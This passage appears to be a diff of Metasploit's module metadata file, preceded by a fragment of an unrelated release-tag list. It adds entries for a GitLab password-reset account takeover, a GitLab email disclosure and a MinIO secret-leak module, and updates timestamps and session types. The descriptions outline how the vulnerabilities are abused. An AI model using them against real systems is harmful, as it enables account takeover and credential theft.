"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.3",
|
||||
"commit": {
|
||||
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.2",
|
||||
"commit": {
|
||||
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.1",
|
||||
"commit": {
|
||||
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.0",
|
||||
"commit": {
|
||||
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.1",
|
||||
"commit": {
|
||||
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.0",
|
||||
"commit": {
|
||||
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.1.0",
|
||||
"commit": {
|
||||
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.10",
|
||||
"commit": {
|
||||
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.9",
|
||||
"commit": {
|
||||
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.8",
|
||||
"commit": {
|
||||
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.7",
|
||||
"commit": {
|
||||
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.6",
|
||||
"commit": {
|
||||
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.5",
|
||||
"commit": {
|
||||
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.4",
|
||||
"commit": {
|
||||
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.3",
|
||||
"commit": {
|
||||
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.2",
|
||||
"commit": {
|
||||
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.1",
|
||||
"commit": {
|
||||
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.1",
|
||||
"commit": {
|
||||
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.0",
|
||||
"commit": {
|
||||
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.2",
|
||||
"commit": {
|
||||
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.1",
|
||||
"commit": {
|
||||
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.0",
|
||||
"commit": {
|
||||
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.4",
|
||||
"commit": {
|
||||
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.3",
|
||||
"commit": {
|
||||
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
|
||||
}
|
||||
}
|
||||
]
|
||||
+760
-133
@@ -841,7 +841,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-12-02 16:29:02 +0000",
|
||||
"mod_time": "2024-03-01 12:00:34 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/icpr_cert.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/icpr_cert",
|
||||
@@ -863,7 +863,9 @@
|
||||
"Certipy"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -901,7 +903,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-22 19:43:21 +0000",
|
||||
"mod_time": "2024-03-01 12:00:34 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/samr_computer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/samr_computer",
|
||||
@@ -919,7 +921,9 @@
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -2229,6 +2233,59 @@
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/http/gitlab_password_reset_account_takeover": {
|
||||
"name": "GitLab Password Reset Account Takeover",
|
||||
"fullname": "auxiliary/admin/http/gitlab_password_reset_account_takeover",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2024-01-11",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"h00die",
|
||||
"asterion04"
|
||||
],
|
||||
"description": "This module exploits an account-take-over vulnerability that allows users\n to take control of a gitlab account without user interaction.\n\n The vulnerability lies in the password reset functionality. Its possible to provide 2 emails\n and the reset code will be sent to both. It is therefore possible to provide the e-mail\n address of the target account as well as that of one we control, and to reset the password.\n\n 2-factor authentication prevents this vulnerability from being exploitable. There is no\n discernable difference between a vulnerable and non-vulnerable server response.\n\n Vulnerable versions include:\n 16.1 < 16.1.6,\n 16.2 < 16.2.9,\n 16.3 < 16.3.7,\n 16.4 < 16.4.5,\n 16.5 < 16.5.6,\n 16.6 < 16.6.4,\n and 16.7 < 16.7.2.",
|
||||
"references": [
|
||||
"CVE-2023-7028",
|
||||
"URL-https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/",
|
||||
"URL-https://github.com/duy-31/CVE-2023-7028"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-27 07:44:11 +0000",
|
||||
"path": "/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/http/gitlab_password_reset_account_takeover",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/http/gitstack_rest": {
|
||||
"name": "GitStack Unauthenticated REST API Requests",
|
||||
"fullname": "auxiliary/admin/http/gitstack_rest",
|
||||
@@ -6359,7 +6416,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-05-04 09:17:16 +0000",
|
||||
"mod_time": "2024-02-16 16:53:07 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/ad_cs_cert_template",
|
||||
@@ -6775,7 +6832,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_enum",
|
||||
@@ -6785,7 +6842,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -6827,7 +6884,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_enum_domain_accounts",
|
||||
@@ -6976,7 +7033,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_escalate_dbowner",
|
||||
@@ -6986,7 +7043,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7077,7 +7134,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-02-14 15:26:34 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_escalate_execute_as",
|
||||
@@ -7087,7 +7144,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7180,7 +7237,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-02-14 15:26:34 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_exec",
|
||||
@@ -7190,7 +7247,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7236,7 +7293,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_findandsampledata",
|
||||
@@ -7246,7 +7303,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7287,7 +7344,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_idf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_idf",
|
||||
@@ -7297,7 +7354,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7439,7 +7496,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_sql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_sql",
|
||||
@@ -7449,7 +7506,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7490,7 +7547,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_sql_file.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_sql_file",
|
||||
@@ -7500,7 +7557,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7533,7 +7590,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-07 12:51:04 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/admin/mysql/mysql_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mysql/mysql_enum",
|
||||
@@ -7543,7 +7600,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -7576,7 +7633,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-14 15:26:34 +0000",
|
||||
"path": "/modules/auxiliary/admin/mysql/mysql_sql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mysql/mysql_sql",
|
||||
@@ -7586,7 +7643,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -9010,7 +9067,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/admin/postgres/postgres_readfile.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/postgres/postgres_readfile",
|
||||
@@ -9020,7 +9077,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -9041,7 +9098,7 @@
|
||||
],
|
||||
"description": "This module will allow for simple SQL statements to be executed against a\n PostgreSQL instance given the appropriate credentials.",
|
||||
"references": [
|
||||
"URL-www.postgresql.org"
|
||||
"URL-https://www.postgresql.org"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -9053,7 +9110,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-03-05 17:49:13 +0000",
|
||||
"path": "/modules/auxiliary/admin/postgres/postgres_sql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/postgres/postgres_sql",
|
||||
@@ -9063,7 +9120,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -9980,7 +10037,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-27 13:29:43 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/admin/smb/delete_file.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/smb/delete_file",
|
||||
@@ -9990,7 +10047,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -10025,7 +10082,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-27 14:25:47 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/admin/smb/download_file.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/smb/download_file",
|
||||
@@ -10035,7 +10092,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -10173,7 +10230,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-15 12:07:07 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/smb/psexec_ntdsgrab",
|
||||
@@ -10183,7 +10240,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -10264,7 +10321,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-27 14:55:24 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/admin/smb/upload_file.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/smb/upload_file",
|
||||
@@ -10274,7 +10331,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -12265,7 +12322,7 @@
|
||||
"author": [
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all SSM-enabled EC2 instances\n accessible to the account. Once enumerated as SSM-enabled, the\n instances can be controlled using out-of-band WebSocket sessions\n provided by the AWS API (nominally, privileged out of the box).\n This module provides not only the API enumeration identifying EC2\n instances accessible via SSM with given credentials, but enables\n session initiation for all identified targets (without requiring\n target-level credentials) using the CreateSession mixin option.\n The module also provides an EC2 ID filter and a limiting throttle\n to prevent session stampedes or expensive messes.",
|
||||
"description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all SSM-enabled EC2 instances\n accessible to the account. Once enumerated as SSM-enabled, the\n instances can be controlled using out-of-band WebSocket sessions\n provided by the AWS API (nominally, privileged out of the box).\n This module provides not only the API enumeration identifying EC2\n instances accessible via SSM with given credentials, but enables\n session initiation for all identified targets (without requiring\n target-level credentials) using the CreateSession datastore option.\n The module also provides an EC2 ID filter and a limiting throttle\n to prevent session stampedes or expensive messes.",
|
||||
"references": [
|
||||
"URL-https://www.sempervictus.com/single-post/once-upon-a-cloudy-air-i-crossed-a-gap-which-wasn-t-there"
|
||||
],
|
||||
@@ -12279,7 +12336,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-08-01 15:02:11 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/cloud/aws/enum_ssm.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cloud/aws/enum_ssm",
|
||||
@@ -21673,6 +21730,68 @@
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/gitlab_tags_rss_feed_email_disclosure": {
|
||||
"name": "GitLab Tags RSS feed email disclosure",
|
||||
"fullname": "auxiliary/gather/gitlab_tags_rss_feed_email_disclosure",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2024-01-25",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"n00bhaxor",
|
||||
"erruquill"
|
||||
],
|
||||
"description": "An issue has been discovered in GitLab affecting all versions\n before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.\n It is possible to read the user email address via tags feed\n although the visibility in the user profile has been disabled.",
|
||||
"references": [
|
||||
"URL-https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/",
|
||||
"URL-https://hackerone.com/reports/2208790",
|
||||
"CVE-2023-5612"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-06 17:37:33 +0000",
|
||||
"path": "/modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/gitlab_tags_rss_feed_email_disclosure",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/grandstream_ucm62xx_sql_account_guess": {
|
||||
"name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump",
|
||||
"fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess",
|
||||
@@ -22852,7 +22971,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/gather/lansweeper_collector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/lansweeper_collector",
|
||||
@@ -22877,11 +22996,13 @@
|
||||
"disclosure_date": "2021-06-17",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Grant Willcox"
|
||||
"Grant Willcox",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.",
|
||||
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and\n ESC13. The module is limited to checking for these techniques due to them being identifiable remotely from a\n normal user account by analyzing the objects in LDAP.",
|
||||
"references": [
|
||||
|
||||
"URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2",
|
||||
"URL-https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -22893,7 +23014,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-05-08 16:43:26 +0000",
|
||||
"mod_time": "2024-02-21 17:01:41 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
@@ -23485,6 +23606,67 @@
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/minio_bootstrap_verify_info_disc": {
|
||||
"name": "MinIO Bootstrap Verify Information Disclosure",
|
||||
"fullname": "auxiliary/gather/minio_bootstrap_verify_info_disc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2023-03-20",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"joel <joel @ ndepthsecurity>",
|
||||
"RicterZ"
|
||||
],
|
||||
"description": "MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with\n RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns\n all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`,\n resulting in information disclosure.\n\n Verified against MinIO 2023-02-27T18:10:45Z",
|
||||
"references": [
|
||||
"URL-https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q",
|
||||
"CVE-2023-28432"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 9000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-08 08:54:38 +0000",
|
||||
"path": "/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/minio_bootstrap_verify_info_disc",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/mongodb_js_inject_collection_enum": {
|
||||
"name": "MongoDB NoSQL Collection Enumeration Via Injection",
|
||||
"fullname": "auxiliary/gather/mongodb_js_inject_collection_enum",
|
||||
@@ -25926,7 +26108,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-15 12:07:07 +0000",
|
||||
"mod_time": "2024-03-06 14:20:34 +0000",
|
||||
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/windows_secrets_dump",
|
||||
@@ -25945,7 +26127,7 @@
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -46658,7 +46840,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_hashdump",
|
||||
@@ -46668,7 +46850,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -46709,7 +46891,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-06 15:06:25 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_login",
|
||||
@@ -46807,7 +46989,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mssql/mssql_schemadump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mssql/mssql_schemadump",
|
||||
@@ -46817,7 +46999,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -46853,7 +47035,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
